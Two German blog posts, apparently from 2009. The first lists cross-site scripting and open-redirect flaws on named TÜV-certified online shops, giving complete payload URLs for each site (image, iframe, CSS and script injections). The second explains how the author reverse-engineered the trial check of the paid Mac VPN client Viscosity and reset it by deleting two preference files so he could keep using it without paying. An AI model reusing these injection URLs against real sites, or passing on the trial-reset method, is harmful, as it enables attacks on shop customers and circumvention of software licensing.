S@fer SeXSS
UPDATE: Heute, 10.03.2009, wurde ich (noch) freundlich von einem Angestellten der Firma TÜV SÜD darauf aufmerksam gemacht, dass meine erste Version des Bildes zu nah an den Originalversionen der Logos gewesen sei. Um der Bitte dies zu ändern schnellstmöglich entgegenzukommen entwickelte ich spontan die Version 2. Alle Screenshots, sowie Links wurden angepasst.
Ähnlich dem TÜV-Siegel in der wirklichen Welt, gibt es schon seit längerem auch ein solches Siegel für Webseiten, vorwiegend Online-Shops, welches dem Kunden Qualität und Sicherheit garantieren soll. Unter safer-shopping.de heißt es dazu wie folgt:
Sicherheit hat höchste Priorität beim Online-Einkauf. Das TÜV SÜD s@fer-shopping Prüfzeichen schafft Vertrauen zwischen Kunden und Online-Anbietern.
Diese Aussage wollte ein Bekannter zusammen mit mir näher untersuchen und so entstand das Projekt "S@fer SeXSS", bei welchem es das Ziel war unten abgebildetes Foto auf TÜV zertifizierten Seiten erfolgreich einzubinden.

Die meisten der Webseiten schienen tatsächlich über eine bessere Sicherheit zu verfügen als der Durchschnitt und so gelang es meistens nicht einfach ein <iframe> oder <img> Tag einzufügen. Nach einigem Testen war jedoch schnell klar, dass es sich um recht einfach gestaltete Blacklists handelte. Mit Hilfe von CSS Style Werten gelang es schließlich doch bei vielen Seiten den externen Inhalt zu laden.
Komplette Liste der verwundbaren Webseiten:
shops.ltur.com:
http://shops.ltur.com/de/shopfinder.ltml?page=search&country= de&state=&zip=&areacode=42%22%3E%3Cul%20style=margin-left:500px %3E%3Cli%20style=list-style:url(http://i44.tinypic.com/bi71qf.gif) %3E&send_areacode.x=14&send_areacode.y=6(screenshot)
polo-motorrad.de:
http://www.polo-motorrad.de/Shopfinder.shopfinder.0.html?step=1 &plz=42%22%3E%3Cscript%3Edocument.write(String.fromCharCode( [...] ));%3C/script%3E(screenshot)
aida.de:
http://www.aida.de/kreuzfahrt/angebote-buchen/reisesuche.18736.html ?screen=SearchBox&tx_aidadyncatalog_catalog%5BcruiseListPage [...] &tx_aidadyncatalog_catalog%5BsearchStartDate%5D= 42%22%27%%3Ciframe%20src=%22http://i44.tinypic.com/bi71qf.gif%22 %20style=%22width:%20300px;%20height:%20350px;%22%3E &tx_aidadyncatalog_catalog%5BsearchEndDate%5D= &tx_aidadyncatalog_catalog%5 [...](screenshot)
b.urlaubsexperte.de:
http://b.urlaubsexperte.de/booking/urlaubsexperte/startseite.php? StartPage_newsletter=1&KID=629960&agent= 42%22%3E%3Cul%3E%3Cli%20style=list-style: url(http://i44.tinypic.com/bi71qf.gif)%3E(screenshot)
reisen.argonaut.de:
http://reisen.argonaut.de/booking/argonaut/index.php?strecke=la &detail=zielgebiet&personen=&abflughafen=-1&ziel=-1 &shotel=42%22%3E%3Cul%3E%3Cli%20style=list-style: url(http://i44.tinypic.com/bi71qf.gif)%3E&termin=11.02.2009 &ruecktermin=21.02.2009&dauer=-1&kategorie=-1&verpflegung=-1(screenshot)
tt.weg.de:
http://tt.weg.de/booking/weg/erde/index.php?CREF2=379 &KID=691000&flugdauer=42%22%3E%3Cul%20style= margin-left:500px%3E%3Cli%20style=list-style: url(http://i44.tinypic.com/bi71qf.gif)%3E%3C/ul%3E &termin=1230805955&te_g=1&ruecktermin=1238450400 [...](screenshot)
otto.de:
http://www.otto.de/is-bin/INTERSHOP.enfinity/WFS/ Otto-OttoDe-Site/de_DE/-/EUR/OV_ViewShoppingCart- DirectOrder?OrderNr=x%22%3E%3Cimg%20src= %22http://i44.tinypic.com/bi71qf.gif%22%3E(screenshot)
karstadtquelle-versicherungen.de:
https://www.karstadtquelle-versicherungen.de/start? [...]search&keywords=42%22;document.write(String.fromCharCode( [...] ));//(screenshot)
ssl.delti.com:
http://ssl.delti.com/cgi-bin/reifenkomplkontakt.pl?dsco=100 &Name=42%22%3E%3Cimg%20src= %22http://i44.tinypic.com/bi71qf.gif%22%3E%3C/img%3E(screenshot)
cyberport.de:
https://www.cyberport.de/index.omeco?EVENT=login &PHPSESSID=42%22%3E%3Cimg%20src= %22http://i44.tinypic.com/bi71qf.gif%22%3E%3C/img%3E(screenshot)
www2.vidado.com:
http://www2.vidado.com/booking/as_superreisen/index.php ?KID=626300&formular=4&agent=42%22%3E%3Cul%20 style=margin-left:200px%3E%3Cli%20style=list-style: url(http://i44.tinypic.com/bi71qf.gif)%3E(screenshot)
Abschließend noch zwei Webseiten, welche einen Redirect zu jeglicher anderen Webseite erlauben:
flug.de:
http://www.flug.de/hp.php?lt=hp_flight_ww_0_p &url=//i44.tinypic.com/bi71qf.gif
expedia.de:
http://www.expedia.de/pub/agent.dll?qscr=redr &rurl=http://i44.tinypic.com/bi71qf.gif
Zu diesen Veröffentlichungen ein Kommentar von Marko Rogge (www.marko-rogge.de), anerkannter Sicherheitsberater und Autor:
"Es ist aus meiner Sicht schon recht dramatisch zu betrachten, dass mit dem Vertrauen von Anwendern hier so leichtfertig und sorglos umgegangen wird. Anwender vertrauen entsprechenden Institutionen und wiegen sich in Sicherheit, sofern dafür auch noch ein Gütesiegel vergeben wurde. Für die Zukunft sollte man deutlich mehr darauf achten und auch die Betreiber ansprechen und die Sicherheit hinterfragen."
Cracking Viscosity (Mac OS X)
Diesen Artikel beginne ich mit dem Zitat eines Bekannten von mir: "Der Kopierschutz auf Mac OS X hinkt den Standards um mindestens zehn Jahre hinterher."
Aufgrund der Tatsache, dass Mac Rechner zwar immer weiter verbreitet sind, aber spezielle Programme, wie etwa solche zum Nutzen von OpenVPN, kaum verfügbar sind, sah ich mich gezwungen mir eines der wenigen rauszusuchen. Meine Wahl fiel auf Viscosity, ein übersichtliches und stabiles VPN Tool für Mac. Dieses jedoch ist kostenpflichtig und über die angebotenen Zahlungsmethoden verfüge ich nicht. Nach 30 Tagen war meine Testphase abgelaufen und ich schaute mir einmal genauer an, wie das Programm dies kontrollierte.
Schnell war klar, dass die Applikation auf Python als Sprache basiert:
[skyout:Applications]$ ls -1 Viscosity.app/Contents/Resources/ | grep py AutoUpdate.pyc CrystalVPNAppDelegate.pyc DetailsWinController.pyc [...]
Hierbei handelt es sich um PYC, also Python Bytecode, Dateien, die nur bis zu einer bestimmten Version von Python dekompiliert werden können (oder um es genauer zu sagen: Für die neuesten Versionen gibt es keine freien Programme, um dies zu tun).
Die Meldung, welche Viscosity anzeigt, informiert einen über den Ablauf der "Trial Period". Also auf gehts:
[skyout:Resources]$ strings *.pyc | grep "expired" Your trial period has expired. If you like Viscosity please purchase...
Diese Meldung stammt aus der Datei namens CrystalVPNAppDelegate.pyc.
Als nächstes kopierte ich diese Datei auf den Desktop und ließ sie durch utilitymill.com/utility/pyc_xray analysieren. Das Ergebnis war eine scheinbar unübersichtliche Menge an Bytecode Informationen, die wie folgt aussahen:
9 0 LOAD_CONST 0 (-1)
3 LOAD_CONST 1 (('*',))
6 IMPORT_NAME 0 (Foundation)
9 IMPORT_STAR
10 10 LOAD_CONST 0 (-1)
13 LOAD_CONST 1 (('*',))
16 IMPORT_NAME 1 (AppKit)
19 IMPORT_STAR
11 20 LOAD_CONST 0 (-1)
23 LOAD_CONST 2 (('AppHelper',))
26 IMPORT_NAME 2 (PyObjCTools)
29 IMPORT_FROM 3 (AppHelper)
32 STORE_NAME 3 (AppHelper)
35 POP_TOPNach einer kurzen Suche stieß ich auf einige interessante Zeilen:
776 516 LOAD_GLOBAL 2 (Utilities)
519 LOAD_ATTR 21 (displayAlert)
522 LOAD_CONST 10 ('Trial Period Expired!...
525 LOAD_CONST 11 ('Your trial period has...
528 LOAD_CONST 12 ('Quit')
531 LOAD_CONST 13 ('Enter License')
534 LOAD_CONST 14 ('Purchase')
537 CALL_FUNCTION 5
540 STORE_FAST 7 (result)
543 JUMP_FORWARD 213 (to 759)
>> 546 POP_TOPEs stellte sich heraus, dass die Informationen in einer Datei gespeichert wurden, welche eine verschlüsselte Zeichenkette enthielt, wie die folgenden Bytecode Instructions belegen sollten:
731 77 LOAD_FAST 3 (file)
80 LOAD_ATTR 9 (write)
83 LOAD_FAST 0 (self)
86 LOAD_ATTR 10 (encryptTime)
89 LOAD_FAST 1 (cTime)
92 CALL_FUNCTION 1
95 CALL_FUNCTION 1
98 POP_TOP
[...]
739 154 LOAD_GLOBAL 13 (float)
157 LOAD_FAST 0 (self)
160 LOAD_ATTR 14 (decryptTime)
163 LOAD_FAST 3 (file)
166 LOAD_ATTR 15 (read)
169 CALL_FUNCTION 0
172 CALL_FUNCTION 1
175 CALL_FUNCTION 1
178 STORE_FAST 4 (file1Time)Noch ein Stück weiter oben befand sich dann schließlich, was ich suchte:
728 19 LOAD_GLOBAL 2 (Utilities)
22 LOAD_ATTR 3 (joinPath)
25 LOAD_GLOBAL 2 (Utilities)
28 LOAD_ATTR 4 (getPreferencesFolder)
31 CALL_FUNCTION 0
34 LOAD_CONST 1 ('com.npvdata.client')
37 CALL_FUNCTION 2
40 STORE_FAST 2 (path)Angemerkt sei hier der fehlgeschlagene Versuch von "Security by Obscurity", der durch das Verdrehen des Wortes "vpn" zu "npv" versucht wurde. Die Datei befand sich wie zu erwarten im Preferences Ordner meines Nutzers:
[skyout:~]$ ls -la Library/Preferences/com.npvdata.client -rw-r--r--@ 1 skyout ... Library/Preferences/com.npvdata.client
Und sie enthielt eine offensichtlich verschlüsselte Zeichenfolge:
[skyout:Preferences]$ cat com.npvdata.client KPK4EON2J2DZT664HOYHR2H3E4======
Diese Datei zu löschen half jedoch nicht, um Viscosity wieder startklar zu machen, also musste es eine Art Cache geben. Dieser war jedoch leicht zu finden:
[skyout:Preferences]$ ls | grep viscosity com.viscosityvpn.Viscosity.plist
Eine weitere Überprüfung bestätigte die Vermutungen:
[skyout:Preferences]$ file com.viscosityvpn.Viscosity.plist com.viscosityvpn.Viscosity.plist: Apple binary property list [skyout:Preferences]$ strings com.viscosityvpn.Viscosity.plist | grep KPK KPK4EON2J2DZT664HOYHR2H3E4======_
Nimmt man dies alles zusammen, muss man schließlich die Dateien com.npvdata.client und com.viscosityvpn.Viscosity.plist löschen und Viscosity wird davon ausgehen zum ersten Mal gestartet worden zu sein, die Dateien anlegen und ist somit erneut 30 Tage nutzbar.
Hinweis: Ich habe lange überlegt, ob ich diese Informationen so offen auf der Seite zur Verfügung stellen sollte, sehe jedoch die Methodik als derart simpel an, dass sie jeder mit ein wenig Geduld und Kenntnis der entsprechenden Programme selbst hätte nutzen können!

